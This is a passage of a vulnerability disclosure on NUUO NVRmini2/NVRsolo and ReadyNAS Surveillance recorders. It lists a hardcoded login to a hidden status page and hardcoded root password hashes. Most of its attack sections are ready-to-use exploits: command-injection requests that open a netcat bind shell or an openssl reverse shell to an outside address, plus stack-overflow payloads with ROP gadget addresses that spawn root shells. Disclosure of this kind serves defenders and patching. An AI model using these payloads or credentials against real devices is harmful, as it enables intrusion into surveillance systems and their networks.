NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nThe web interface contains a hidden page (__nvr_status___.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. This information can be obtained by an unauthenticated user by performing the following request:\nPOST /__nvr_status___.php HTTP/1.1\nusername=nuuoeng\u0026password=qwe23622260\u0026submit=Submit\n\n\n#5 \nVulnerability: Harcoded root password \nCVE-2016-5678\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.0.0 to 3.0.0 \n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n\nThe NVRmini 2 and NVRsolo contain two hardcoded root passwords (one is commented). These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices. \n\nNVRmini 2:\n #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::\n root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::\n\nNVRsolo:\n #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::\n root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::\n\n \n#6 \nVulnerability: Command injection in cgi_main transfer license command\nCVE-2016-5679\nAttack Vector: Local / Remote\nConstraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected)\n- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)\n\nThe transfer_license command has a command injection vulnerability in the \"sn\" parameter:\ncgi_main?cmd=transfer_license\u0026method=offline\u0026sn=\";\u003ccommand\u003e;#\n\nSample exploit for NVRmini2 (open bind shell on port 4444):\nGET /cgi-bin/cgi_main?cmd=transfer_license\u0026method=offline\u0026sn=\"%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23\n\nNETGEAR Surveillance doesn\u0027t have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead:\nGET /cgi-bin/cgi_main?cmd=transfer_license\u0026method=offline\u0026sn=\"%3bmkfifo+/tmp/s%3b+/bin/bash+-i+\u003c+/tmp/s+2\u003e%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+\u003e+/tmp/s%3b+rm+/tmp/s%3b%23\n\n\u003e Local exploitation:\nThis vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command:\nCGI_DEBUG=qwe23622260 cgi_main transfer_license \u0027method=offline\u0026sn=\u003cPAYLOAD\u003e\u0027\nThe cgi_main binary is located at \"/apps/surveillance/bin/cgi_main\" on the ReadyNAS and \"/NUUO/bin/cgi_main\" on the NVRmini2. \n \n \n#7 \nVulnerability: Stack buffer overflow in cgi_main transfer license command\nCVE-2016-5680\nAttack Vector: Local / Remote\nConstraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user\n- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected)\n- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)\n\nThe \"sn\" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the \"sn\" parameter is copied directly into a string with a fixed length of 128 characters. \n\nFunction 0x20BC9C (NVRmini2 firmware v3.0.0):\n method = getval(\"method\");\n sn = getval(\"sn\");\n (...)\n memset(\u0026command, 0, 128);\n sprintf(\u0026command, \"logger -p local0.info -t \u0027system\u0027 \\\"Activate license: %s\\\"\", sn);\n system(\u0026command);\n\n\u003e For example if the following request is performed:\nGET /cgi-bin/cgi_main?cmd=transfer_license\u0026method=offline\u0026sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\n\u003e A core file is generated:\nCore was generated by `/NUUO/bin/cgi_main\u0027. \nProgram terminated with signal SIGSEGV, Segmentation fault. \n#0 0x61616160 in ?? ()\n(gdb) i r\nr0 0x0\t0\nr1 0x0\t0\nr2 0x407aa4d0\t1081779408\nr3 0x407aa9e0\t1081780704\nr4 0x61616161\t1633771873\nr5 0x61616161\t1633771873\nr6 0x61616161\t1633771873\nr7 0x61616161\t1633771873\nr8 0x331fc8\t3350472\nr9 0x1\t1\nr10 0x33db54\t3398484\nr11 0x0\t0\nr12 0x1\t1\nsp 0xbedce528\t0xbedce528\nlr 0x61616161\t1633771873\npc 0x61616160\t0x61616160\ncpsr 0x60000030\t1610612784\n(gdb) \n\nThe request can be sent by an HTTP GET or POST method. \n\n\u003e A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2:\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS\n\naaaa: filler\nPPPP: pc / lr register content, offset 976\n4444: r4 register content, offset 962\n5555: r5 register content, offset 966\n6666: r6 register content, offset 970\n7777: r7 register content, offset 974\nSSSS: start of stack pointer, offset 992\n\n\u003e On the ReadyNAS Surveillance one additional register (r8) can be controlled:\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS\n\naaaa: filler\nPPPP: pc / lr register content, offset 986\n4444: r4 register content, offset 968\n5555: r5 register content, offset 970\n6666: r6 register content, offset 974\n7777: r7 register content, offset 978\n8888: r8 register content, offset 982\nSSSS: start of stack pointer, offset 1002\n\n\u003e Exploit mitigations and constraints\nThe table below shows the exploit mitigation technologies for each target:\n NVRmini2 ReadyNAS\nNX Y Y\nRELRO Partial Partial\nASLR N Y\n\nAn additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator). \n\n\u003e Exploitation in the NVRmini2 (firmware v3.0.0):\nThis example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0. \n\n0x00018ba0 : pop {r3, lr} ; bx lr -\u003e located at 40684BA0 (first gadget, sets up r3 for the next gadget)\n0x000f17cc : mov r0, sp ; blx r3 -\u003e located at 4075D7CC (second gadget, set up args for system)\n0x00039ffc : system() -\u003e located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it)\nPayload (in the stack) -\u003e %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 (\"nc -l -p 4444 -e /bin/sh \u0026\")\n\nIllustration:\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack}\n\nExploit for NVRmini2 firmware v3.0.0 (\"sn\" parameter value):\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26\n\nOther firmware versions will have different gadget addresses. \n\n\u003e Exploitation on ReadyNAS Surveillance (version v1.1.2):\nTo develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses). \n\nThe exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used:\n0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -\u003e located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1)\n0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -\u003e located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0)\n0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it)\nPayload: (in the stack) -\u003e %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 (\"mkfifo /tmp/s; /bin/bash -i \u003c /tmp/s 2\u003e\u00261 | openssl s_client -quiet -connect 192.168.133.204:4444 \u003e /tmp/s; rm /tmp/s \u0026\")\n\nIllustration:\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload}\n\nExploit for ReadyNAS Surveillance v1.1.2 (\"sn\" parameter value):\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26\n\nNote that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back. \n\n\u003e Local exploitation:\nThis vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the 